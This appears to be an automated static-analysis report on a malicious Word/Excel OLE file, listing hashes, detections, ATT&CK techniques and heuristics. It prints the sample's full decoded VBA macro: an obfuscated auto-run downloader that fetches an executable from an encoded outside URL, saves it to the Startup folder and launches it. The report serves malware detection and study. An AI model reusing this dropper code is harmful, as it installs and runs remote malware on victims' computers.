Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3d06771cc7eb6654…

MALICIOUS

Office (OLE)

36.0 KB Created: 2018-05-21 22:50:00 Authoring application: Microsoft Office Word First seen: 2018-06-30
MD5: 87b3a4a42e6cd5c8faa95728f23a8d42 SHA-1: e0cfd1769ef57b00df89299046bcb53cb9322325 SHA-256: 3d06771cc7eb66549d6302c284fd5befeb4af2e07e5a16e05ca53edbe0b8127b
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macros contain critical heuristics indicating WScript.Shell usage and the ability to download and execute files via HTTP. The script itself is heavily obfuscated but appears to be responsible for fetching and running a secondary payload, aligning with a downloader pattern. The presence of WScript.Shell and CreateObject points to the execution of external code.

Heuristics 9

  • ClamAV: Xls.Downloader.Generic-6839042-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Generic-6839042-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    HTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJOLUMXPVXVCKRVWBNKYZQTDHCRPPORKNQYMMTPQM = CreateObject("WScript.Shell").Specialfolders(7) + DBUFBVDIZYSMZLRXPXQSGZYVEDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWG
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    UFBVDIZYSMZLRXPXQSGZYVEDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWGY = HEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJOLUMXPVXVCKRVWBNKYZQTD.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set VDIZYSMZLRXPXQSGZYVEDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWGYBNBHEMLWHTPO = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4744 bytes
SHA-256: d5ab93654d7c0a1d5e2f85192a097a83ab989daead94a2a78e7a61326cfdffa4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function VLBIYCLPKZXXWZROSHUNVXYUHVLDBUFBVDIZYSMZLRXPXQSGZYVEDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVV(EFHDPWTLCDNCELQBHBUISSGWGYBNBHEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJ)
RWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWGYBNBHEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLX = 10 - 9
        YNDCSMWSNUZRQKKYDJWHWIRXRQNWUGXDGEKSTEFJVLBIYCLPKZXXWZROSHUNVXYUHVLDBUFBVDIZYSMZLRXPXQSGZYV = ""
    For EDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWGYBNBHEMLWHTPOTCJUOSFCQRISUYTJOONP = RWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWGYBNBHEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLX To Len(EFHDPWTLCDNCELQBHBUISSGWGYBNBHEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJ)
        RXRQNWUGXDGEKSTEFJVLBIYCLPKZXXWZROSHUNVXYUHVLDBUFBVDIZYSMZLRXPXQSGZYVEDOZLOMSTCMN = Asc(Mid(EFHDPWTLCDNCELQBHBUISSGWGYBNBHEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJ, EDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWGYBNBHEMLWHTPOTCJUOSFCQRISUYTJOONP, RWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWGYBNBHEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLX))

            CFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJOLUMXPVXVCKRVWBNKYZQTDHCRPPORKNQYMMTPQMYNDCSMWSNUZRQKKYDJWHWI = RXRQNWUGXDGEKSTEFJVLBIYCLPKZXXWZROSHUNVXYUHVLDBUFBVDIZYSMZLRXPXQSGZYVEDOZLOMSTCMN - RWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWGYBNBHEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLX
        YNDCSMWSNUZRQKKYDJWHWIRXRQNWUGXDGEKSTEFJVLBIYCLPKZXXWZROSHUNVXYUHVLDBUFBVDIZYSMZLRXPXQSGZYV = YNDCSMWSNUZRQKKYDJWHWIRXRQNWUGXDGEKSTEFJVLBIYCLPKZXXWZROSHUNVXYUHVLDBUFBVDIZYSMZLRXPXQSGZYV & Chr(CFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJOLUMXPVXVCKRVWBNKYZQTDHCRPPORKNQYMMTPQMYNDCSMWSNUZRQKKYDJWHWI)
    Next
    VLBIYCLPKZXXWZROSHUNVXYUHVLDBUFBVDIZYSMZLRXPXQSGZYVEDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVV = YNDCSMWSNUZRQKKYDJWHWIRXRQNWUGXDGEKSTEFJVLBIYCLPKZXXWZROSHUNVXYUHVLDBUFBVDIZYSMZLRXPXQSGZYV
End Function

Private Sub Workbook_open()
Set VDIZYSMZLRXPXQSGZYVEDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWGYBNBHEMLWHTPO = CreateObject("Shell.Application")
Set HEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJOLUMXPVXVCKRVWBNKYZQTD = CreateObject("microsoft.xmlhttp")
Set PORKNQYMMTPQMYNDCSMWSNUZRQKKYDJWHWIRXRQNWUGXDGEKSTEFJVLBIYCLPKZXXWZROSHUNVXYUHVL = CreateObject("adodb.stream")
DBUFBVDIZYSMZLRXPXQSGZYVEDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWG = VLBIYCLPKZXXWZROSHUNVXYUHVLDBUFBVDIZYSMZLRXPXQSGZYVEDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVV("]RPKUP/fyf")
BNBHEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJOLUMXPVXVCKRVWBNKYZQTDHCRP = VLBIYCLPKZXXWZROSHUNVXYUHVLDBUFBVDIZYSMZLRXPXQSGZYVEDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVV("iuuq;00wftjcvttjbbwbubs/gj0uftu/fyf")

HTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJOLUMXPVXVCKRVWBNKYZQTDHCRPPORKNQYMMTPQM = CreateObject("WScript.Shell").Specialfolders(7) + DBUFBVDIZYSMZLRXPXQSGZYVEDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWG
HEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJOLUMXPVXVCKRVWBNKYZQTD.Open "GET", BNBHEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJOLUMXPVXVCKRVWBNKYZQTDHCRP, False
HEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJOLUMXPVXVCKRVWBNKYZQTD.send
UFBVDIZYSMZLRXPXQSGZYVEDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWGY = HEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJOLUMXPVXVCKRVWBNKYZQTD.responseBody
If HEMLWHTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJOLUMXPVXVCKRVWBNKYZQTD.Status = 200 Then
PORKNQYMMTPQMYNDCSMWSNUZRQKKYDJWHWIRXRQNWUGXDGEKSTEFJVLBIYCLPKZXXWZROSHUNVXYUHVL.Open
PORKNQYMMTPQMYNDCSMWSNUZRQKKYDJWHWIRXRQNWUGXDGEKSTEFJVLBIYCLPKZXXWZROSHUNVXYUHVL.Type = 1
PORKNQYMMTPQMYNDCSMWSNUZRQKKYDJWHWIRXRQNWUGXDGEKSTEFJVLBIYCLPKZXXWZROSHUNVXYUHVL.Write UFBVDIZYSMZLRXPXQSGZYVEDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWGY
PORKNQYMMTPQMYNDCSMWSNUZRQKKYDJWHWIRXRQNWUGXDGEKSTEFJVLBIYCLPKZXXWZROSHUNVXYUHVL.SaveToFile HTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJOLUMXPVXVCKRVWBNKYZQTDHCRPPORKNQYMMTPQM, 2
PORKNQYMMTPQMYNDCSMWSNUZRQKKYDJWHWIRXRQNWUGXDGEKSTEFJVLBIYCLPKZXXWZROSHUNVXYUHVL.Close
End If
VDIZYSMZLRXPXQSGZYVEDOZLOMSTCMNRWTIQZKTQLBGGFIZWZPVVEFHDPWTLCDNCELQBHBUISSGWGYBNBHEMLWHTPO.Open (HTPOTCJUOSFCQRISUYTJOONPCFIXEEMNPLXFBTKLVKMTRJPCDQUBOYOZJVJOLUMXPVXVCKRVWBNKYZQTDHCRPPORKNQYMMTPQM)


End Sub

Attribute VB_Name = "NewMacros"
Sub jsjsshshhdggd()
'
' jsjsshshhdggd Macro
'
'

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.